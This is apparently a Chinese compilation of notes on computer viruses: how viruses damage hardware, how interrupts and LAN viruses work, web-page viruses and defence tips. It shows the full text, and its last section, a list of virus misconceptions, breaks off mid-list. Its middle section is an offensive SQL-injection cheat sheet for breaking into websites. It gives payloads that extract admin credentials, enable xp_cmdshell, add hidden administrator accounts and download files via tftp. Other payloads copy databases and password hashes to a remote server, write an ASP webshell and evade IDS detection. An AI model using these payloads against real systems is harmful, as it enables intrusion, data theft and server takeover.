3.超“显频”破坏显卡
目前很多中高档显卡等都可以手动改变其芯片的频率,并且改的方法更简单:在Windows注册表里改。病毒改动了“显频”,显卡也就容易超负荷工作而烧坏。这种事件的前兆也是死机。所以,死机时也不要忽视对“显频”的检查。另外还有一种减少烧坏显卡的可能性的办法,那就是……(什么?你已经安了两个风扇了!?)
 
4.破坏光驱
光驱中的光头在读不到信号时就会加大激光发射功率,这样长期下去对光驱的寿命极为不利。有人做实验,让正常的光驱不停的读取一张划痕很多,信号较弱的光盘,28小时以后光驱就完蛋了。病毒可以让光头走到盘片边缘无信号区域不停的读盘,结果光头读不到信号,便加大发射功率不停地读,要不了几天,光驱就要“No Disc”了。所以要经常注意光驱灯的闪亮情况,判断光驱是否在正常工作。
 
5.破坏主板、显卡的Flash BIOS
这就是现在的CIH病毒破坏主板的方式。病毒用乱码冲掉了BIOS中的内容,使机器不能启动。不过现在很多主板都有带有FlashBIOS写保护跳线,可以有效的防止CIH病毒破坏主板。但是不要忘了,很多显卡也有FlashBIOS,说不定哪一天就会冒出一种破坏显卡BIOS的病毒。所以还是小心一点为好,这可没有什么特效药啊。
 
6.破坏硬盘
大家都知道,分区、高级格式化对硬盘都没有什么损伤,惟独低级格式化对硬盘的寿命有较大的影响。据说硬盘做上10次低级格式化就会报废。如果出现一种病毒,不停的对硬盘的0磁道做低格式化(做10次最多只需用几秒钟!),0道坏了再做1道……你的硬盘容量就会一点一点(这一点好不小啊!)地被蚕食,而且0、1、2……道坏了,要想再使用该硬盘,就得在BIOS中重新设定起始磁道,再低级格式化,非常麻烦。
其实,该病毒有一个非常简单而有效的预防方法,那就是将BIOS中的Boot SectorVirusProtection(引导区病毒写保护)设为Enable(打开)。笔者做过实验,将上述开关打开的情况下,使用各种低级格式化软件(包括BIOS中自带的)对硬盘进行低格,BIOS都会报警(报告说有程序企图重写引导区,问是否继续),按N就可以防止。要知道BIOS程序掌管着系统的最高控制权,应该没有什么东西可以冲破其防线(你按Y是另外一回事)。若发现上述情况,赶紧Reset,然后进行杀毒不过,如果你是在装Win98等操作系统或SystemCommander等软件时碰到该情况,就大可不必理会它,困为这些软件安装时都有要重写引导区。不过劝你安装这些软件时最好先把写保护关掉,否则容易出现死机现象!
 
7.浪费喷墨打印机的墨水
喷墨打印机的喷头特别容易堵塞,为此打印机公司特别发明了专门浪费墨水的“清洗喷头”功能,即让大量墨水冲出喷头,清除杂物。这项功能可以用软件控制实现,于是乎病毒便神不知鬼不觉的一次次调用该功能,而你却对打印机的呻吟声却听而不见。当你发现时,大量的墨已经被浪费了。这种病毒唯一的预防办法就是……不用打印机时把打印机关了。其实,只要你常注意一下打印机上的模式灯就可以了,清洗喷头时它通常是一闪闪的。另外还要仔细倾听它的呻吟声,清洗喷头时打印头总是要来回走动几下的(为了加热)。

入侵网站常用语句

1.判断有无注入点
; and 1=1 and 1=2


2.猜表一般的表的名称无非是admin adminuser user pass password 等..
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) —判断是否存在admin这张表


3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)


4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.
and 1=(select count(*) from admin where len(*) >0)–
and 1=(select count(*) from admin where len(用户字段名称name)>0)
and 1=(select count(*) from admin where len(_blank>密码字段名称password)>0)


5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 错误
and 1=(select count(*) from admin where len(name)>5) 正确 长度是6
and 1=(select count(*) from admin where len(name)=6) 正确
and 1=(select count(*) from admin where len(password)>11) 正确
and 1=(select count(*) from admin where len(password)>12) 错误 长度是12
and 1=(select count(*) from admin where len(password)=12) 正确


6.猜解字符
and 1=(select count(*) from admin where left(name,1)=a) —猜解用户帐号的第一位
and 1= (select count(*) from admin where left(name,2)=ab)—猜解用户帐号的第二位
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
and 1=(select top 1 count(*) from Admin where Asc(mid (pass,5,1))=51) —
这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.


group by users.id having 1=1–
group by users.id, users.username, users.password, users.privs having 1= 1–
; insert into users values( 666, attacker, foobar, 0xffff )–
UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank> _NAME=logintable-
UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank>_id)-
UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank>_id,login_blank>_name)-
UNION SELECT TOP 1 login_blank> _name FROM logintable-
UNION SELECT TOP 1 password FROM logintable where login_blank>_name=Rahul–


看_blank>服务器打的补丁=出错了打了SP4补丁
and 1=(select @@VERSION)–


看_blank>数据库连接账号的权限,返回正常,证明是_blank>服务器角色sysadmin权限。
and 1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin))–


判断连接_blank>数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA)
and sa=(SELECT System_blank>_user)–
and user_blank>_name()=dbo–
and 0<>(select user_blank>_name()–


看xp_blank>_cmdshell是否删除
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_blank>_cmdshell)–


xp_blank>_cmdshell被删除,恢复,支持绝对路径的恢复
;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll–
;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c: \inetpub\wwwroot\xplog70.dll–


反向PING自己实验
;use master;declare @s int;exec sp_blank>_oacreate “wscript.shell”,@s out;exec sp_blank>_oamethod @s,”run”,NULL,”cmd.exe /c ping 192.168.0.1″;–


加帐号
;DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank> _OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add–


创建一个虚拟目录E盘:
;declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w “默认Web站点” -v “e”,”e: \”–


访问属性:(配合写入一个webshell)
declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse


爆库 特殊_blank>技巧::%5c=\ 或者把/和\ 修改%5提交
and 0< >(select top 1 paths from newtable)–


得到库名(从1到5都是系统的id,6以上才可以判断)
and 1=(select name from master.dbo.sysdatabases where dbid=7)–
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)


依次提交 dbid = 7,8,9…. 得到更多的_blank>数据库名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一个表 假设为 admin
and 0 <>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 来得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin
and uid>(str (id))) 暴到UID的数值假设为18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_blank>_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
(id,…)) 来暴出其他的字段
and 0<(select user_blank>_id from BBS.dbo.admin where username>1) 可以得到用户名


依次可以得到_blank>密码。。。。。假设存在user_blank>_id username ,password 等字段
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<> (select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 判断id值
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段
?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
?id=-1 union select 1,2,3,4,5,6,7,8, *,9,10,11,12,13 from admin (union,access也好用)


得到WEB路径
;create table [dbo].[swap] ([swappass][char](255));–
and (select top 1 swappass from swap)=1–
;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SYSTEM\CurrentControlSet \Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/,values=@testOUTPUT insert into paths (path) values(@test)–
;use ku1;–
;create table cmd (str image);– 建立image类型的表cmd


存在xp_blank>_cmdshell的测试过程:
;exec master..xp_blank>_cmdshell dir
;exec master.dbo.sp_blank>_addlogin jiaoniang$;– 加SQL帐号
;exec master.dbo.sp_blank>_password null,jiaoniang$,1866574;–
;exec master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin;–
;exec master.dbo.xp_blank>_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;–
;exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$ /add;–
exec master..xp_blank> _servicecontrol start, schedule 启动_blank>服务
exec master..xp_blank>_servicecontrol start, server
; DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add
;DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add
; exec master..xp_blank>_cmdshell tftp -i youip get file.exe– 利用TFTP上传文件
;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\
;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\
;declare @a;set @a=db_blank>_name();backup database @a to disk=你的IP你的共享目录bak.dat


如果被限制则可以。
select * from openrowset (_blank>sqloledb,server;sa;,select OK! exec master.dbo.sp_blank>_addlogin hax)


查询构造:
SELECT * FROM news WHERE id=… AND topic=… AND …..
adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <>
select 123;–
;use master;–
:a or name like fff%;– 显示有一个叫ffff的用户哈。
and 1<>(select count (email) from [user]);–
;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;–
;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;–
;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;–
;update [users] set email=(select top 1 count(id) from password) where name=ffff;–
;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;–
;update [users] set email=(select top 1 name from password where id=2) where name=ffff;–
上面的语句是得到_blank>数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。


通过查看ffff的用户资料可得第一个用表叫ad
然后根据表名ad得到这个表的ID 得到第二个表的名字
insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char (0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)–
insert into users values( 667,123,123,0xffff)–
insert into users values ( 123, admin–, password, 0xffff)–
;and user>0
;and (select count(*) from sysobjects)>0
;and (select count(*) from mysysobjects)>0 //为access_blank>数据库


枚举出数据表名
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);–


这是将第一个表名更新到aaa的字段处。
读出第一个表,第二个表可以这样读出来(在条件后加上 and name< >刚才得到的表名)。
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);–
然后id=1552 and exists(select * from aaa where aaa>5)
读出第二个表,一个个的读出,直到没有为止。


读字段是这样:
;update aaa set aaa=(select top 1 col_blank>_name (object_blank>_id(表名),1));–
然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名
;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),2));–
然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名
[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>你得到的表名 查出一个加一个]) [ where 条件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,…)
通过SQLSERVER注入_blank>漏洞建_blank>数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]
[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]
update 表名 set 字段= (select top 1 col_blank>_name(object_blank>_id(要查询的数据表名),字段列如:1) [ where 条件]
绕过IDS的检测[使用变量]
;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\
;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\


1、 开启远程_blank>数据库
基本语法
select * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 )
参数: (1) OLEDB Provider name


2、 其中连接字符串参数可以是任何端口用来连接,比如
select * from OPENROWSET(SQLOLEDB, uid=sa;pwd= 123;Network=DBMSSOCN;Address=192.168.0.1,1433;, select * from table


3.复制目标主机的整个_blank>数据库 insert所有远程表到本地表。

基本语法:
insert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1) select * from table2
这行语句将目标主机上table2表中的所有数据复制到远程_blank>数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如:
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address= 192.168.0.1,1433;,select * from table1) select * from table2
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd= 123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysdatabases)
select * from master.dbo.sysdatabases
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address= 192.168.0.1,1433;,select * from _blank>_sysobjects)
select * from user_blank> _database.dbo.sysobjects
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address= 192.168.0.1,1433;,select * from _blank>_syscolumns)
select * from user_blank> _database.dbo.syscolumns


复制_blank>数据库:
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd= 123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table1
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * from database..table2


复制哈西表(HASH)登录_blank>密码的hash存储于sysxlogins中。方法如下:
insert into OPENROWSET (SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysxlogins) select * from database.dbo.sysxlogins


得到hash之后,就可以进行暴力破解。
遍历目录的方法: 先创建一个临时表:temp
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));–
;insert temp exec master.dbo.xp_blank>_availablemedia;– 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_blank>_subdirs c:\;– 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\;– 获得所有子目录的目录树结构,并寸入temp表中
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell type c:\web\index.asp;– 查看某个文件的内容
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\;–
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\ *.asp /s/a;–
;insert into temp(id) exec master.dbo.xp_blank> _cmdshell cscript. C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc
;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\;– (xp_blank>_dirtree适用权限PUBLIC)


写入表:
语句1:and 1= (SELECT IS_blank>_SRVROLEMEMBER(sysadmin));–
语句2:and 1=(SELECT IS_blank>_SRVROLEMEMBER (serveradmin));–
语句3:and 1=(SELECT IS_blank>_SRVROLEMEMBER(setupadmin));–
语句4:and 1=(SELECT IS_blank>_SRVROLEMEMBER(securityadmin));–
语句5:and 1=(SELECT IS_blank>_SRVROLEMEMBER (securityadmin));–
语句6:and 1=(SELECT IS_blank>_SRVROLEMEMBER(diskadmin));–
语句7:and 1= (SELECT IS_blank>_SRVROLEMEMBER(bulkadmin));–
语句8:and 1=(SELECT IS_blank>_SRVROLEMEMBER (bulkadmin));–
语句9:and 1=(SELECT IS_blank>_MEMBER(db_blank>_owner));–


把路径写到表中去:
;create table dirs(paths varchar(100), id int)–
;insert dirs exec master.dbo.xp_blank>_dirtree c:\–
and 0<>(select top 1 paths from dirs)–
and 0<> (select top 1 paths from dirs where paths not in(@Inetpub))–
;create table dirs1(paths varchar(100), id int)–
;insert dirs exec master.dbo.xp_blank>_dirtree e:\web–
and 0<>(select top 1 paths from dirs1)–


把_blank>数据库备份到网页目录:下载
;declare @a sysname; set @a=db_blank>_name();backup database @a to disk=e:\web\down.bak;–
and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc)
and 1=(Select Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) from sysobjects) 参看相关表。
and 1=(select user_blank>_id from USER_blank>_LOGIN)
and 0=(select user from USER_blank>_LOGIN where user>1)
-=- wscript.shell example -=-
declare @o int
exec sp_blank>_oacreate wscript.shell, @o out
exec sp_blank>_oamethod @o, run, NULL, notepad.exe
; declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, notepad.exe–
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_blank>_oacreate scripting.filesystemobject, @o out
exec sp_blank>_oamethod @o, opentextfile, @f out, c:\boot.ini, 1
exec @ret = sp_blank>_oamethod @f, readline, @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_blank>_oamethod @f, readline, @line out
end
declare @o int, @f int, @t int, @ret int
exec sp_blank>_oacreate scripting.filesystemobject, @o out
exec sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1
exec @ret = sp_blank>_oamethod @f, writeline, NULL,
<% set o = server.createobject(“wscript.shell”): o.run( request.querystring(“cmd”) ) %>
declare @o int, @ret int
exec sp_blank>_oacreate speech.voicetext, @o out
exec sp_blank> _oamethod @o, register, NULL, foo, bar
exec sp_blank>_oasetproperty @o, speed, 150
exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to,us, 528
waitfor delay 00:00:05
; declare @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o out exec sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to us, 528 waitfor delay 00:00:05–
xp_blank>_dirtree适用权限PUBLIC
exec master.dbo.xp_blank>_dirtree c:\


返回的信息有两个字段 subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。
create table dirs(paths varchar(100), id int)


建表,这里建的表是和上面xp_blank>_dirtree相关连,字段相等、类型相同。
insert dirs exec master.dbo.xp_blank>_dirtree c:\


只要我们建表与存储进程返回的字段相定义相等就能够执行!达到写表的效果, 一步步达到我们想要的信息!

Modified At 2008-05-28 17:54:23




Modified At 2008-06-02 23:15:11

中断与计算机病毒

1.中断基本概念

什么是中断?先打个比方。当一个经理正处理文件时,电话铃响了(中断请求),不得不在文件上做一个记号(返 回地址),暂停工作,去接电话(中断),并指示“按第二方案办”(调中断服务程序),然后,再静下心来(恢复中 断前状态),接着处理文件……。计算机科学家观察了类似实例,“外师物化,内得心源”,借用了这些思想、处理方 式和名称,研制了一系列中断服务程序及其调度系统。
中断是CPU处理外部突发事件的一个重要技术。它能使CPU在运行过程中对外部事件发出的中断请求及时地进行处理, 处理完成后又立即返回断点,继续进行CPU原来的工作。引起中断的原因或者说发出中断请求的来源叫做中断源。 根据 中断源的不同,可以把中断分为硬件中断和软件中断两大类,而硬件中断又可以分为外部中断和内部中断两类。
外部中断一般是指由计算机外设发出的中断请求,如:键盘中断、打印机中断、定时器中断等。外部中断是可以屏 蔽的中断,也就是说,利用中断控制器可以屏蔽这些外部设备的中断请求。
内部中断是指因硬件出错(如突然掉电、奇偶校验错等)或运算出错(除数为零、运算溢出、单步中断等)所引起 的中断。内部中断是不可屏蔽的中断。
软件中断其实并不是真正的中断,它们只是可被调用执行的一般程序。例如:ROMBIOS 中的各种外部设备管理中断 服务程序(键盘管理中断、显示器管理中断、打印机管理中断等),以及DOS的系统功能调用(INT 21H)等都是软件中 断。
CPU为了处理并发的中断请求,规定了中断的优先权/中断优先权由高到低的顺序是:
(1)除法错、溢出中断、软件中断
(2)不可屏蔽中断
(3)可屏蔽中断
(4)单步中断。

2.中断与计算机病毒
 
计算机操作系统是开放的,用户可以修改扩充操作系统,在计算机上实现新的功能。修改操作系统的主要方式之一 是扩充中断功能。
计算机提供很多中断,合理合法地修改中断会给计算机增加非常有用的新功能。如INT 10H是屏幕显示中断, 原只能显示西文,而在各种汉字系统中都可以通过修改1NT 10H使计算机能够显示中文。另一方面, 计算机病毒则篡改中断 为其达到传染、激发等目的服务,与病毒有关的重要中断有: INT 08H和INT 1CH定时中断,每秒调用18.2次,有些病毒利用它们的记时判断激发条件。
INT 09H键盘输入中断,病毒用于监视用户击键情况。
INT 10H屏幕输入输出中断,一些病毒用于在屏幕上显示字符图形表现自己。
INT 13H磁盘输入输出中断,引导型病毒用于传染病毒和格式化磁盘。
INT 21H DOS功能调用,包含了DOS的大部分功能,已发现的绝大多数文件型病毒修改
INT 21H中断, 因此也成为防 病毒的重点监视部位。
INT 24H DOS的严重错误处理中断,文件型病毒常进行修改,以防止传染写保护磁盘时被发现。 中断子程序的人口地址存放在计算机内存的最低端,病毒窃取和修改中断的人口地址获得中断的控制权,在中断服 务过程中插入病毒的“私货”。
总之,中断可以被用户程序所修改,从而使得中断服务程序被用户指定的程序所替代。这样虽然大大地方便了用户, 但也给计算机病毒制造者以可乘之机。病毒正是通过修改中断以使该中断指向病毒自身来进行发作和传染的。

局域网病毒入侵原理、现象及防范方法

一、局域网病毒入侵原理及现象
 
一般来说,计算机网络的基本构成包括网络服务器和网络节点站(包括有盘工作站、无盘工作站和远程工作站)。计算机病毒一般首先通过各种途径进入到有盘工作站,也就进入网络,然后开始在网上的传播。具体地说,其传播方式有以下几种。
(1)病毒直接从工作站拷贝到服务器中或通过邮件在网内传播;
(2)病毒先传染工作站,在工作站内存驻留,等运行网络盘内程序时再传染给服务器;
(3)病毒先传染工作站,在工作站内存驻留,在病毒运行时直接通过映像路径传染到服务器中;
(4)如果远程工作站被病毒侵入,病毒也可以通过数据交换进入网络服务器中。
 
一旦病毒进入文件服务器,就可通过它迅速传染到整个网络的每一个计算机上。而对于无盘工作站来说,由于其并非真的”无盘”(它的盘是网络盘),当其运行网络盘上的一个带毒程序时,便将内存中的病毒传染给该程序或通过映像路径传染到服务器的其他的文件上,因此无盘工作站也是病毒孽生的温床。
 
由以上病毒在网络上的传播方式可见,在网络环境下,网络病毒除了具有可传播性、可执行性、破坏性等计算机病毒的共性外,还具有一些新的特点。
(1)感染速度快
在单机环境下,病毒只能通过介质从一台计算机带到另一台,而在网络中则可以通过网络通讯机制进行迅速扩散。根据测定,在网络正常工作情况下,只要有一台工作站有病毒,就可在几十分钟内将网上的数百台计算机全部感染。
(2)扩散面广
由于病毒在网络中扩散非常快,扩散范围很大,不但能迅速传染局域网内所有计算机,还能通过远程工作站将病毒在一瞬间传播到千里之外。
(3)传播的形式复杂多样
计算机病毒在网络上一般是通过”工作站”到”服务器”到”工作站”的途径进行传播的,但现在病毒技术进步了不少,传播的形式复杂多样。
(4)难于彻底清除
单机上的计算机病毒有时可以通过带毒文件来解决。低级格式化硬盘等措施能将病毒彻底清除。
而网络中只要有一台工作站未能清除干净,就可使整个网络重新被病毒感染,甚至刚刚完成杀毒工作的一台工作站,就有可能被网上另一台带毒工作站所感染。因此,仅对工作站进行杀毒,并不能解决病毒对网络的危害。
(5)破坏性大
网络病毒将直接影响网络的工作,轻则降低速度,影响工作效率,重则使网络崩溃,破坏服务器信息,使多年工作毁于一旦。
(6)可激发性
网络病毒激发的条件多样化,可以是内部时钟、系统的日期和用户名,也可以是网络的一次通信等。一个病毒程序可以按照病毒设计者的要求,在某个工作站上激发并发出攻击。
(7)潜在性

网络一旦感染了病毒,即使病毒已被清除,其潜在的危险性也是巨大的。根据统计,病毒在网络上被清除后,85%的网络在30天内会被再次感染。
例如尼姆达病毒,会搜索本地网络的文件共享,无论是文件服务器还是终端客户机,一旦找到,便安装一个隐藏文件,名为Riched20.DLL到每一个包含”DOC”和”eml”文件的目录中,当用户通过Word、写字板、Outlook打开”DOC”和”eml”文档时,这些应用程序将执行Riched20.DLL文件,从而使机器被感染,同时该病毒还可以感染远程服务器被启动的文件。带有尼姆达病毒的电子邮件,不需你打开附件,只要阅读或预览了带病毒的邮件,就会继续发送带毒邮件给你通讯簿里的朋友。
 
二、局域网病毒防范方法
 
以”尼姆达”病毒为例,个人用户感染该病毒后,使用单机版杀毒软件即可清除;然而企业的网络中,一台机器一旦感染”尼姆达”,病毒便会自动复制、发送并采用各种手段不停交叉感染局域网内的其他用户。
计算机病毒形式及传播途径日趋多样化,因此,大型企业网络系统的防病毒工作已不再像单台计算机病毒的检测及清除那样简单,而需要建立多层次的、立体的病毒防护体系,而且要具备完善的管理系统来设置和维护对病毒的防护策略。
一个企业网的防病毒体系是建立在每个局域网的防病毒系统上的,应该根据每个局域网的防病毒要求,建立局域网防病毒控制系统,分别设置有针对性的防病毒策略。

(1)增加安全意识
杜绝病毒,主观能动性起到很重要的作用。病毒的蔓延,经常是由于企业内部员工对病毒的传播方式不够了解,病毒传播的渠道有很多种,可通过网络、物理介质等。查杀病毒,首先要知道病毒到底是什么,它的危害是怎么样的,知道了病毒危害性,提高了安全意识,杜绝毒瘤的战役就已经成功了一半。平时,企业要从加强安全意识着手,对日常工作中隐藏的病毒危害增加警觉性,如安装一种大众认可的网络版杀毒软件,定时更新病毒定义,对来历不明的文件运行前进行查杀,每周查杀一次病毒,减少共享文件夹的数量,文件共享的时候尽量控制权限和增加密码等,都可以很好地防止病毒在网络中的传播。
(2)小心邮件
随着网络的普及,电子信箱成了人们工作中不可缺少的一种媒介。它方便快捷在提高了人们的工作效率的同时,也无意之中成为了病毒的帮凶。有数据显示,如今有超过90%的病毒通过邮件进行传播。
尽管这些病毒的传播原理很简单,但这块决非仅仅是技术问题,还应该教育用户和企业,让它们采取适当的措施。例如,如果所有的Windows用户都关闭了VB脚本功能,像库尔尼科娃这样的病毒就不可能传播。只要用户随时小心警惕,不要打开值得怀疑的邮件,就可把病毒拒绝在外。
(3)挑选网络版杀毒软件
选择一个功力高深的网络版病毒”杀手”就至关重要了。一般而言,查杀是否彻底,界面是否友好、方便,能否实现远程控制、集中管理是决定一个网络杀毒软件的三大要素。

网页病毒的概念

     1、什么是网页病毒?
   它主要是利用软件或系统操作平台等的安全漏洞,通过执行嵌入在网页HTML超文本标记语言内的Java Applet小应用程序,JavaScript脚本语言程序,ActiveX软件部件网络交互技术支持可自动执行的代码程序,以强行修改用户操作系统的注册表设置及系统实用配置程序,或非法控制系统资源盗取用户文件,或恶意删除硬盘文件、格式化硬盘为行为目标的非法恶意程序。
 
   2、网页病毒的性质及特点:
   这种非法恶意程序能够得以被自动执行,在于它完全不受用户的控制。你一旦浏览含有该病毒的网页,即可以在你不知不觉的情况下马上中招,给用户的系统带来一般性的、轻度性的、严重恶性等不同程度的破坏。令你苦不堪言,甚至损失惨重无法弥补。 网页病毒的种类
   根据目前互联网上流行的常见网页病毒的作用对象及表现特征,归纳为以下两大种类:
 
   一、通过Java Script、Applet、ActiveX编辑的脚本程序修改IE浏览器:
   1.默认主页被修改;
   2.默认首页被修改;
   3.默认的微软主页被修改;
   4.主页设置被屏蔽锁定,且设置选项无效不可改回;
   5.默认的IE搜索引擎被修改;
   6.IE标题栏被添加非法信息
   7.OE标题栏被添加非法信息;
   8.鼠标右键菜单被添加非法网站广告链接;
   9.鼠标右键弹出菜单功能被禁用失常;
   10.IE收藏夹被强行添加非法网站的地址链接;
   11.在IE工具栏非法添加按钮;
   12.锁定地址下拉菜单及其添加文字信息;
   13.IE菜单“查看”下的“源文件”被禁用;
 
   二、通过Java Script、Applet、ActiveX编辑的脚本程序修改用户操作系统:
   1.开机出现对话框;
   2.系统正常启动后,但IE被锁定网址自动调用打开;
   3.格式化硬盘
   4.暗藏“万花谷”蛤蟆病毒,全方位侵害封杀系统,最后导致瘫痪崩溃;
   5.非法读取或盗取用户文件;
   6.锁定禁用注册表;
   7.注册表被锁定禁用之后,编辑*.reg注册表文件打开方式错乱;
   8.时间前面加广告;
   9.启动后首页被再次修改;
   10.更改“我的电脑”下的一系列文件夹名称。

纠正14条查杀电脑病毒的错误认识

1、对染毒软盘DIR操作会导致硬盘被感染(错)
 
如果计算机的内存没有病毒,那么只有在执行了带有病毒的程序(文件)后,才会感染计算机。而DIR命令是DOS的内部命令,不需要执行任何外部的程序(文件),因此对染毒软盘进行DIR操作不会感染病毒。
不过需要注意的是,如果计算机内存已有病毒(或者说计算机已染毒),如果对没有染毒的软盘进行DIR操作, 就可能感染软盘。说可能会感染是因为有些病毒不会通过DIR操作传播。
 
2、将文件改为只读方式可免受病霉的感染(错)
 
